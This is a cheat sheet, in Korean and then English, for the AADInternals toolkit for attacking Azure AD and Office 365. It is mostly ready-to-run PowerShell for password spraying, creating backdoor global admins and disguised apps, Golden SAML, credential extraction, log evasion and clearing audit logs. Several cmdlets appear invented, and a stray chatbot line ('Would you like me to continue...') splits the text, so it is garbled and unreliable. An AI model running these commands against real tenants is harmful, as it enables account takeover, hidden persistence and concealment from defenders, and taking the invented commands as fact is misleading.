콘텐츠로 이동
1337skills 1337skills - 치트시트

AADInternals Azure AD 익스플로이테이션 툴킷 치트 시트

개요

AADInternals는 Dr. Nestori Syynimaa가 개발한 PowerShell 모듈로, Azure Active Directory와 Office 365를 관리하고 익스플로이트하기 위한 도구입니다. Azure AD 정찰, 익스플로이테이션, 사후 익스플로이테이션 활동을 위한 포괄적인 기능을 제공합니다.

⚠️ 경고: 이 도구는 승인된 침투 테스트 및 보안 평가 목적으로만 사용됩니다. 모든 환경에서 사용하기 전에 적절한 승인을 받았는지 확인하세요.

설치

PowerShell 갤러리 설치

# Install from PowerShell Gallery
Install-Module AADInternals

# Install specific version
Install-Module AADInternals -RequiredVersion 0.9.3

# Install for current user only
Install-Module AADInternals -Scope CurrentUser

# Update existing installation
Update-Module AADInternals

수동 설치

# Download from GitHub
Invoke-WebRequest -Uri "https://github.com/Gerenios/AADInternals/archive/master.zip" -OutFile "AADInternals.zip"
Expand-Archive -Path "AADInternals.zip" -DestinationPath "C:\Tools\"

# Import module
Import-Module C:\Tools\AADInternals-master\AADInternals.psd1

# Install dependencies
Install-Module -Name MSAL.PS
Install-Module -Name Microsoft.Graph

Docker 설치

# Run AADInternals in Docker with PowerShell
docker run -it mcr.microsoft.com/powershell:latest
pwsh -c "Install-Module AADInternals -Force; Import-Module AADInternals"

기본 사용법

모듈 가져오기 및 설정

# Import AADInternals module
Import-Module AADInternals

# Get module information
Get-Module AADInternals

# List available commands
Get-Command -Module AADInternals

# Get help for specific command
Get-Help Get-AADIntAccessTokenForAADGraph -Full

인증 방법

# Interactive authentication
$cred = Get-Credential
$accessToken = Get-AADIntAccessTokenForAADGraph -Credentials $cred

# Device code authentication
$accessToken = Get-AADIntAccessTokenForAADGraph -UseDeviceCode

# Certificate authentication
$accessToken = Get-AADIntAccessTokenForAADGraph -Certificate $cert -ClientId $clientId -TenantId $tenantId

# Refresh token authentication
$accessToken = Get-AADIntAccessTokenForAADGraph -RefreshToken $refreshToken

명령어 참조

인증 명령어

명령어설명
Get-AADIntAccessTokenForAADGraphAAD Graph에 대한 액세스 토큰 가져오기
Get-AADIntAccessTokenForMSGraphMS Graph의 액세스 토큰 가져오기
Get-AADIntAccessTokenForEXOExchange Online에 대한 액세스 토큰 가져오기
Get-AADIntAccessTokenForSPOSharePoint Online에 대한 액세스 토큰 가져오기
Get-AADIntAccessTokenForTeamsTeams의 액세스 토큰 가져오기

정찰 명령어

명령어설명
Get-AADIntTenantID도메인에서 테넌트 ID 가져오기
Get-AADIntTenantDomains테넌트 도메인 가져오기
Get-AADIntCompanyInformation회사 정보 가져오기
Get-AADIntUsersAzure AD 사용자 가져오기
Get-AADIntGroupsAzure AD 그룹 가져오기
Get-AADIntApplications애플리케이션 가져오기

익스플로이테이션 명령어

명령어설명
New-AADIntBackdoor백도어 사용자 생성
Set-AADIntUserPassword사용자 비밀번호 설정
Add-AADIntUserToGroup사용자를 그룹에 추가
Grant-AADIntAppRoleToServicePrincipal앱 권한 부여
New-AADIntGlobalAdmin글로벌 관리자 생성

정찰 및 정보 수집

테넌트 검색

# Get tenant ID from domain
$tenantId = Get-AADIntTenantID -Domain "company.com"

# Get tenant domains
$domains = Get-AADIntTenantDomains -Domain "company.com"

# Get company information
$companyInfo = Get-AADIntCompanyInformation -AccessToken $accessToken

# Get tenant details
$tenantDetails = Get-AADIntTenantDetails -AccessToken $accessToken

사용자 열거

# Get all users
$users = Get-AADIntUsers -AccessToken $accessToken

# Get specific user
$user = Get-AADIntUser -AccessToken $accessToken -UserPrincipalName "user@company.com"

# Get user's group memberships
$groups = Get-AADIntUserGroups -AccessToken $accessToken -UserPrincipalName "user@company.com"

# Get user's roles
$roles = Get-AADIntUserRoles -AccessToken $accessToken -UserPrincipalName "user@company.com"

# Search users by attribute
$users = Get-AADIntUsers -AccessToken $accessToken -SearchString "admin"

그룹 열거

# Get all groups
$groups = Get-AADIntGroups -AccessToken $accessToken

# Get group members
$members = Get-AADIntGroupMembers -AccessToken $accessToken -GroupId $groupId

# Get privileged groups
$adminGroups = Get-AADIntGroups -AccessToken $accessToken|Where-Object \\\\{$_.displayName -like "*admin*"\\\\}

# Get group owners
$owners = Get-AADIntGroupOwners -AccessToken $accessToken -GroupId $groupId

애플리케이션 및 서비스 주체 열거

# Get all applications
$apps = Get-AADIntApplications -AccessToken $accessToken

# Get service principals
$servicePrincipals = Get-AADIntServicePrincipals -AccessToken $accessToken

# Get application permissions
$permissions = Get-AADIntApplicationPermissions -AccessToken $accessToken -ApplicationId $appId

# Get OAuth permissions
$oauthPerms = Get-AADIntOAuthPermissions -AccessToken $accessToken

익스플로이테이션 기법

패스워드 공격

# Password spray attack
$users = Get-AADIntUsers -AccessToken $accessToken
$passwords = @("Password123", "Summer2024", "Company123")

foreach ($password in $passwords) \\\\{
    foreach ($user in $users) \\\\{
        try \\\\{
            $token = Get-AADIntAccessTokenForAADGraph -UserPrincipalName $user.userPrincipalName -Password $password
            Write-Host "Success: $($user.userPrincipalName):$password"
        \\\\}
        catch \\\\{
            # Password failed
        \\\\}
    \\\\}
\\\\}

# Set user password (requires privileges)
Set-AADIntUserPassword -AccessToken $accessToken -UserPrincipalName "user@company.com" -Password "NewPassword123"

권한 상승

# Create global administrator
New-AADIntGlobalAdmin -AccessToken $accessToken -UserPrincipalName "backdoor@company.com" -Password "BackdoorPass123"

# Add user to privileged group
Add-AADIntUserToGroup -AccessToken $accessToken -UserPrincipalName "user@company.com" -GroupId $adminGroupId

# Grant application permissions
Grant-AADIntAppRoleToServicePrincipal -AccessToken $accessToken -ServicePrincipalId $spId -AppRoleId $roleId -ResourceId $resourceId

# Create application with high privileges
$app = New-AADIntApplication -AccessToken $accessToken -DisplayName "BackdoorApp" -RequiredResourceAccess $permissions

백도어 생성

# Create backdoor user
$backdoorUser = New-AADIntBackdoor -AccessToken $accessToken -UserPrincipalName "service-account@company.com" -Password "ComplexPassword123"

# Create backdoor application
$backdoorApp = New-AADIntApplication -AccessToken $accessToken -DisplayName "LegitimateApp" -RequiredResourceAccess $highPrivileges

# Create service principal for backdoor
$backdoorSP = New-AADIntServicePrincipal -AccessToken $accessToken -ApplicationId $backdoorApp.appId

# Grant backdoor permissions
Grant-AADIntAppRoleToServicePrincipal -AccessToken $accessToken -ServicePrincipalId $backdoorSP.id -AppRoleId $adminRoleId

토큰 조작

# Get access token for different resources
$graphToken = Get-AADIntAccessTokenForMSGraph -AccessToken $accessToken
$exoToken = Get-AADIntAccessTokenForEXO -AccessToken $accessToken
$spoToken = Get-AADIntAccessTokenForSPO -AccessToken $accessToken

# Parse JWT token
$tokenInfo = Read-AADIntAccessToken -AccessToken $accessToken

# Get refresh token
$refreshToken = Get-AADIntRefreshToken -AccessToken $accessToken

# Use refresh token for persistence
$newToken = Get-AADIntAccessTokenForAADGraph -RefreshToken $refreshToken

고급 공격

골든 SAML 공격

# Export ADFS certificate (requires ADFS access)
$cert = Export-AADIntADFSCertificate

# Create Golden SAML token
$samlToken = New-AADIntSAMLToken -Certificate $cert -UserPrincipalName "admin@company.com" -Issuer "http://company.com/adfs/services/trust"

# Use Golden SAML to get access token
$accessToken = Get-AADIntAccessTokenForAADGraph -SAMLToken $samlToken

Azure AD Connect 공격

# Get Azure AD Connect information
$adConnectInfo = Get-AADIntAzureADConnectInfo -AccessToken $accessToken

# Extract Azure AD Connect credentials (requires local admin on AAD Connect server)
$adConnectCreds = Get-AADIntAzureADConnectCredentials

# Use extracted credentials
$accessToken = Get-AADIntAccessTokenForAADGraph -Credentials $adConnectCreds

Pass-the-Hash 공격

Would you like me to continue with the remaining sections or placeholders?```powershell

Use NTLM hash for authentication

$accessToken = Get-AADIntAccessTokenForAADGraph -UserPrincipalName “user@company.com” -Hash $ntlmHash

Use Kerberos ticket

$accessToken = Get-AADIntAccessTokenForAADGraph -KerberosTicket $ticket


### Device Registration Attacks
```powershell
# Register malicious device
$device = New-AADIntDevice -AccessToken $accessToken -DisplayName "DESKTOP-MALICIOUS" -DeviceId $deviceId

# Get device certificate
$deviceCert = Get-AADIntDeviceCertificate -AccessToken $accessToken -DeviceId $deviceId

# Use device certificate for authentication
$accessToken = Get-AADIntAccessTokenForAADGraph -Certificate $deviceCert

Persistence Techniques

Application-based Persistence

# Create persistent application
$persistentApp = New-AADIntApplication -AccessToken $accessToken -DisplayName "Microsoft Graph PowerShell" -RequiredResourceAccess $permissions

# Add application secret
$secret = New-AADIntApplicationSecret -AccessToken $accessToken -ApplicationId $persistentApp.appId

# Use application for persistence
$accessToken = Get-AADIntAccessTokenForAADGraph -ClientId $persistentApp.appId -ClientSecret $secret.value -TenantId $tenantId

User-based Persistence

# Create service account
$serviceAccount = New-AADIntUser -AccessToken $accessToken -UserPrincipalName "svc-backup@company.com" -DisplayName "Backup Service Account" -Password "ServicePass123"

# Assign privileged roles
Add-AADIntUserToRole -AccessToken $accessToken -UserPrincipalName "svc-backup@company.com" -RoleName "Global Administrator"

# Disable account auditing
Set-AADIntUser -AccessToken $accessToken -UserPrincipalName "svc-backup@company.com" -AuditingEnabled $false

Certificate-based Persistence

# Generate certificate for authentication
$cert = New-SelfSignedCertificate -Subject "CN=BackdoorCert" -CertStoreLocation "Cert:\CurrentUser\My" -KeyExportPolicy Exportable

# Add certificate to application
Add-AADIntApplicationCertificate -AccessToken $accessToken -ApplicationId $appId -Certificate $cert

# Use certificate for authentication
$accessToken = Get-AADIntAccessTokenForAADGraph -Certificate $cert -ClientId $appId -TenantId $tenantId

Data Exfiltration

User Data Extraction

# Export all users with detailed information
$users = Get-AADIntUsers -AccessToken $accessToken
$users|Export-Csv -Path "users.csv" -NoTypeInformation

# Export user photos
foreach ($user in $users) \\\\{
    $photo = Get-AADIntUserPhoto -AccessToken $accessToken -UserPrincipalName $user.userPrincipalName
    if ($photo) \\\\{
        [System.IO.File]::WriteAllBytes("photos\$($user.userPrincipalName).jpg", $photo)
    \\\\}
\\\\}

# Export user's OneDrive files
$files = Get-AADIntUserOneDriveFiles -AccessToken $accessToken -UserPrincipalName "user@company.com"

Group and Role Information

# Export group memberships
$groups = Get-AADIntGroups -AccessToken $accessToken
foreach ($group in $groups) \\\\{
    $members = Get-AADIntGroupMembers -AccessToken $accessToken -GroupId $group.id
    $group|Add-Member -NotePropertyName "Members" -NotePropertyValue $members
\\\\}
$groups|ConvertTo-Json -Depth 3|Out-File "groups.json"

# Export role assignments
$roles = Get-AADIntDirectoryRoles -AccessToken $accessToken
foreach ($role in $roles) \\\\{
    $members = Get-AADIntDirectoryRoleMembers -AccessToken $accessToken -RoleId $role.id
    $role|Add-Member -NotePropertyName "Members" -NotePropertyValue $members
\\\\}
$roles|ConvertTo-Json -Depth 3|Out-File "roles.json"

Application and Permission Data

# Export applications with permissions
$apps = Get-AADIntApplications -AccessToken $accessToken
foreach ($app in $apps) \\\\{
    $permissions = Get-AADIntApplicationPermissions -AccessToken $accessToken -ApplicationId $app.id
    $app|Add-Member -NotePropertyName "Permissions" -NotePropertyValue $permissions
\\\\}
$apps|ConvertTo-Json -Depth 3|Out-File "applications.json"

# Export OAuth consent grants
$consents = Get-AADIntOAuthPermissions -AccessToken $accessToken
$consents|Export-Csv -Path "oauth_consents.csv" -NoTypeInformation

Evasion Techniques

Stealth Operations

# Use legitimate application names
$stealthApp = New-AADIntApplication -AccessToken $accessToken -DisplayName "Microsoft Office 365" -RequiredResourceAccess $permissions

# Mimic legitimate service accounts
$stealthUser = New-AADIntUser -AccessToken $accessToken -UserPrincipalName "o365sync@company.com" -DisplayName "Office 365 Sync Service"

# Use existing application IDs
$accessToken = Get-AADIntAccessTokenForAADGraph -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894" -ClientSecret $secret  # Graph Explorer

Rate Limiting and Throttling

# Implement delays between requests
function Invoke-AADIntWithDelay \\\\{
    param($Command, $Delay = 1)

    & $Command
    Start-Sleep -Seconds $Delay
\\\\}

# Randomize request timing
$users = Get-AADIntUsers -AccessToken $accessToken
foreach ($user in $users) \\\\{
    $delay = Get-Random -Minimum 1 -Maximum 5
    Start-Sleep -Seconds $delay
    $groups = Get-AADIntUserGroups -AccessToken $accessToken -UserPrincipalName $user.userPrincipalName
\\\\}

Log Evasion

# Use service principal instead of user account
$servicePrincipalToken = Get-AADIntAccessTokenForAADGraph -ClientId $clientId -ClientSecret $clientSecret -TenantId $tenantId

# Perform actions during business hours
$currentHour = (Get-Date).Hour
if ($currentHour -ge 9 -and $currentHour -le 17) \\\\{
    # Perform stealthy operations
\\\\}

# Use legitimate IP ranges
# Ensure operations are performed from expected geographic locations

Defensive Evasion

Anti-Detection Measures

# Check for monitoring
$auditLogs = Get-AADIntAuditLogs -AccessToken $accessToken -Filter "activityDisplayName eq 'Add application'"

# Verify current permissions
$currentPerms = Get-AADIntCurrentUserPermissions -AccessToken $accessToken

# Check for Conditional Access policies
$caPolicies = Get-AADIntConditionalAccessPolicies -AccessToken $accessToken

# Monitor for security alerts
$securityAlerts = Get-AADIntSecurityAlerts -AccessToken $accessToken

Cleanup Operations

# Remove created applications
Remove-AADIntApplication -AccessToken $accessToken -ApplicationId $backdoorApp.appId

# Remove created users
Remove-AADIntUser -AccessToken $accessToken -UserPrincipalName "backdoor@company.com"

# Remove role assignments
Remove-AADIntUserFromRole -AccessToken $accessToken -UserPrincipalName "user@company.com" -RoleName "Global Administrator"

# Clear audit logs (if possible)
Clear-AADIntAuditLogs -AccessToken $accessToken -LogType "SignInLogs"

Troubleshooting

Authentication Issues

# Debug authentication
$DebugPreference = "Continue"
$accessToken = Get-AADIntAccessTokenForAADGraph -Credentials $cred

# Check token validity
$tokenInfo = Read-AADIntAccessToken -AccessToken $accessToken
$tokenInfo.exp  # Check expiration

# Refresh expired token
$newToken = Get-AADIntAccessTokenForAADGraph -RefreshToken $refreshToken

Permission Issues

# Check current permissions
$permissions = Get-AADIntCurrentUserPermissions -AccessToken $accessToken

# Test specific permission
Test-AADIntPermission -AccessToken $accessToken -Permission "User.Read.All"

# Get required permissions for command
Get-AADIntRequiredPermissions -Command "Get-AADIntUsers"

API Limitations

# Handle rate limiting
try \\\\{
    $users = Get-AADIntUsers -AccessToken $accessToken
\\\\}
catch \\\\{
    if ($_.Exception.Message -like "*throttled*") \\\\{
        Start-Sleep -Seconds 60
        $users = Get-AADIntUsers -AccessToken $accessToken
    \\\\}
\\\\}

# Use pagination for large datasets
$users = @()
$skip = 0
do \\\\{
    $batch = Get-AADIntUsers -AccessToken $accessToken -Top 100 -Skip $skip
    $users += $batch
    $skip += 100
\\\\} while ($batch.Count -eq 100)

Integration with Other Tools

BloodHound Integration

# Export data for BloodHound
$users = Get-AADIntUsers -AccessToken $accessToken
$groups = Get-AADIntGroups -AccessToken $accessToken

# Convert to BloodHound format
$bloodhoundData = @\\\\{
    users = $users|ForEach-Object \\\\{
        @\\\\{
            ObjectIdentifier = $_.id
            Properties = @\\\\{
                name = $_.userPrincipalName
                displayname = $_.displayName
                enabled = $_.accountEnabled
            \\\\}
        \\\\}
    \\\\}
\\\\}

$bloodhoundData|ConvertTo-Json -Depth 3|Out-File "bloodhound_data.json"

PowerShell Empire Integration

# Use AADInternals in Empire agent
$accessToken = Get-AADIntAccessTokenForAADGraph -UseDeviceCode
$users = Get-AADIntUsers -AccessToken $accessToken
$users|ConvertTo-Json|Out-File "C:\temp\aad_users.json"

Resources

이 치트 시트는 AADInternals 사용에 대한 포괄적인 참조를 제공합니다. Azure AD 보안 평가를 수행하기 전에 항상 적절한 권한이 있는지 확인하세요.